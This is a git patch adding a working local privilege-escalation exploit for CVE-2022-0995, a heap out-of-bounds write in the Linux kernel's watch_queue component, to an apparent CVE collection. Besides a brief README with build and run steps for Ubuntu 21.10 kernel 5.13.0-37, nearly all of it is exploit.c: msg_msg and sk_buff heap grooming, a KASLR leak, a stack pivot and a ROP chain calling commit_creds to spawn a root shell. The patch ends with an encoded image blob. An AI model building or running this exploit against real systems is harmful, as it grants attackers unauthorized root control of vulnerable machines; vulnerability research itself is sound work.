From b5cc7f4177a3f12a36dbd1f78254344c435fe1d6 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Tue, 25 Oct 2022 15:21:26 +0800 Subject: [PATCH 1/4] ADD CVE-2022-0995 --- cve/linux-kernel/2022/CVE-2022-0995/Makefile | 10 + cve/linux-kernel/2022/CVE-2022-0995/README.md | 12 + cve/linux-kernel/2022/CVE-2022-0995/exploit.c | 405 ++++++++++++++++++ cve/linux-kernel/2022/CVE-2022-0995/poc.png | Bin 0 -> 251968 bytes cve/linux-kernel/2022/CVE-2022-0995/util.c | 32 ++ cve/linux-kernel/2022/CVE-2022-0995/util.h | 52 +++ cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml | 20 + other_list.yaml | 2 + 8 files changed, 533 insertions(+) create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/Makefile create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/README.md create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/exploit.c create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/poc.png create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/util.c create mode 100644 cve/linux-kernel/2022/CVE-2022-0995/util.h create mode 100644 cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml diff --git a/cve/linux-kernel/2022/CVE-2022-0995/Makefile b/cve/linux-kernel/2022/CVE-2022-0995/Makefile new file mode 100644 index 00000000..8ea8c7b3 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/Makefile @@ -0,0 +1,10 @@ +CC = gcc + +all: clean exploit + +.PHONY: exploit +exploit: + $(CC) exploit.c util.c -o exploit -no-pie -static + +clean: + rm -f exploit diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md new file mode 100644 index 00000000..b2e5f781 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md @@ -0,0 +1,12 @@ +# CVE-2022-0995 +This is my exploit for `CVE-2022-0995`, an heap out-of-bounds write in the watch_queue Linux kernel component. +It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html. + +The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`. +The exploit is not `100%` reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely. +```sh +make +./exploit +``` + + \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/exploit.c b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c new file mode 100644 index 00000000..4639a803 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c @@ -0,0 +1,405 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include "util.h" + +#define MSGMSG_SPRAY 2000 +#define MSGMSG_FREE_IDX_0 0 +#define MSGMSG_FREE_IDX_1 1950 +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 +#define PRIMARY_SIZE 96 +#define SECONDARY_SIZE 1024 +#define N_SOCKS 4 +#define N_SKBUFFS 128 +#define NUM_PIPEFDS 256 +#define CORRUPT_MSGMSG_TRIES 50 + +void shell(); + +// Ubuntu kernel 5.13.0-37-generic +// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret +uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000; +// 0xffffffff8109507d: pop r12; pop r15; ret; +uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000; +// 0xffffffff81095080: pop rdi; ret; +uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000; +// 0xffffffff81509a39: xor dh, dh; ret; +uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000; +// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret; +uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000; +uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000; +uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000; +uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000; +uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000; + +uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell; +uint64_t kaslr_base = -1; + +typedef struct watch_notification_type_filter wntf_t; +typedef struct watch_notification_filter wnf_t; + +int spray_qids[MSGMSG_SPRAY]; +int ss[N_SOCKS][2]; +int pipe_fds[NUM_PIPEFDS][2]; + +unsigned int real_idx = -1, corrupted_idx = -1; + +/* + spray using msg_msg +*/ +void spray_msgmsg() { + char buffer[0x2000] = {0}; + msg *message = (msg *)buffer; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + spray_qids[i] = spray; + memset(buffer, 0x42, sizeof(buffer)); + + ((unsigned long*)message->mtext)[0] = i; + ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0 + + message->mtype = MTYPE_PRIMARY; + send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg + + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + message->mtype = MTYPE_SECONDARY; + send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue-- + } +} + +void delete_msgmsg(int i, int sz, long mtype) { + char buf[0x2000] = {0}; + get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT); +} + +void check_corruption() { + char buf[0x2000] = {0}; + msg *message = (msg *)buf; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT); + + if (((uint64_t*)message->mtext)[0] != i) { + real_idx = i; + corrupted_idx = ((uint64_t*)message->mtext)[0]; + break; + } + } +} + +void cleanup_msgmsg() { + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx) + continue; + + msgctl(spray_qids[i], IPC_RMID, NULL); + } +} +/* */ + +/* + kmalloc-1024 spray using skbuff +*/ +int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (write(ss[i][0], buf, size) < 0) { + perror("[-] write"); + return -1; + } + } + } + return 0; +} + +int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], buf, size) < 0) { + perror("[-] read"); + return -1; + } + } + } + return 0; +} +/* */ + +void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) { + ((msg_msg*)msg)->m_list_next = list_next; + ((msg_msg*)msg)->m_list_prev = list_prev; + ((msg_msg*)msg)->next = next; + ((msg_msg*)msg)->m_ts = m_ts; + ((msg_msg*)msg)->security = security; + ((msg_msg*)msg)->m_type = mtype; +} + +void build_rop(uint64_t* rop) { + int k = 0; + rop[k++] = 0x0; // dummy rbp + rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops + rop[k++] = 0x0; // pipe_buf->ops + rop[k++] = 0x0; // dummy + rop[k++] = POP_RDI_RET + kaslr_base; + rop[k++] = 0x0; // rdi + rop[k++] = PREPARE_KERNEL_CRED + kaslr_base; + rop[k++] = XOR_DH_DH_RET + kaslr_base; + rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base; + rop[k++] = COMMIT_CREDS + kaslr_base; + rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base; + rop[k++] = 0x0; // rax + rop[k++] = 0x0; // rdi + rop[k++] = user_rip; // user_rip + rop[k++] = user_cs; // user_cs + rop[k++] = user_rflags; // user_rflags + rop[k++] = user_sp; // user_sp + rop[k++] = user_ss; // user_ss +} + +void shell() { + syscall(SYS_execve, "/bin/sh", 0, 0); +} + +void save_state() { + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +int main() { + // Assign to cpu 0 + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) { + perror("sched_setaffinity()"); + exit(1); + } + + save_state(); + + int fds[2]; + int nfilters = 4; + char buf[0x2000]; + char secondary_buf[SECONDARY_SIZE - 0x140]; + + // Filter setup + wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t)); + if (!filter) { + perror("calloc()"); + exit(1); + } + + /* + STEP 1 + Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024 + Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024 + */ + puts("[+] STEP 1: msg_msg corruption"); + + int ntries = 0; + + do { + ntries++; + + filter->nr_filters = nfilters; + for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96 + filter->filters[i].type = 1; + } + + // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned + filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024 + + if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { + perror("pipe2()"); + exit(1); + } + + // Spray kmalloc-96 + spray_msgmsg(); + delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc + delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup + + // Filter go + if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { + perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); + goto err; + } + + check_corruption(); + + if (corrupted_idx != -1) + break; + + cleanup_msgmsg(); + } while (ntries < CORRUPT_MSGMSG_TRIES); + + if (corrupted_idx == -1) { + puts("[-] couldn't corrupt msg_msg"); + exit(1); + } + + printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx); + puts("[+] freeing corrupted msg_msg...."); + delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY); + + for (int i = 0; i < N_SOCKS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { + perror("[-] socketpair"); + goto err; + } + } + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t primary_msg = ((uint64_t*)buf)[124]; + if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] primary_msg: 0x%lx\n", primary_msg); + + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t secondary_msg = ((uint64_t*)buf)[507]; + if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] secondary_msg: 0x%lx\n", secondary_msg); + + uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE; + printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg); + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] freeing sk_buff...."); + delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE); + + /* + STEP 2 + Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs + */ + puts("[+] STEP 2: KASLR leak"); + puts("[+] Spraying pipe_buffer objs..."); + + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (pipe(pipe_fds[i]) < 0) { + perror("[-] pipe"); + goto err; + } + + if (write(pipe_fds[i][1], "A", 1) < 0) { + perror("[-] write"); + goto err; + } + } + + puts("[+] Leak+free pipe_buffer objs..."); + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { + perror("[-] read"); + goto err; + } + + if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) + kaslr_base = ((uint64_t*)secondary_buf)[2]; + } + } + + if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) { + puts("[-] couldn't leak kaslr"); + goto err; + } + + printf("[*] kaslr leak: 0x%lx\n", kaslr_base); + kaslr_base -= ANON_PIPE_BUF_OPS; + printf("[*] kaslr base: 0x%lx\n", kaslr_base); + + /* + STEP 3 + Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting + */ + puts("[+] STEP 3: Stack pivot"); + puts("[+] Reallocating pipe_buffer object...."); + + struct pipe_buf_operations *ops; + struct pipe_buffer *pipe_buf; + + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + pipe_buf = (struct pipe_buffer*)secondary_buf; + ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; + ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base; + + build_rop((uint64_t*)secondary_buf); + + pipe_buf->ops = fake_secondary_msg + 0x290; + + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] Cleaning up msg_msgs"); + cleanup_msgmsg(); + + puts("[+] Releasing pipe_buffer objs"); + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (close(pipe_fds[i][0]) < 0) { + perror("[-] close"); + goto err; + } + if (close(pipe_fds[i][1]) < 0) { + perror("[-] close"); + goto err; + } + } + + return 0; + +err: + cleanup_msgmsg(); + return 1; +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/poc.png b/cve/linux-kernel/2022/CVE-2022-0995/poc.png new file mode 100644 index 0000000000000000000000000000000000000000..4c18666c61e94241b2fa2101f833abcba272b2a7 GIT binary patch literal 251968 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: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 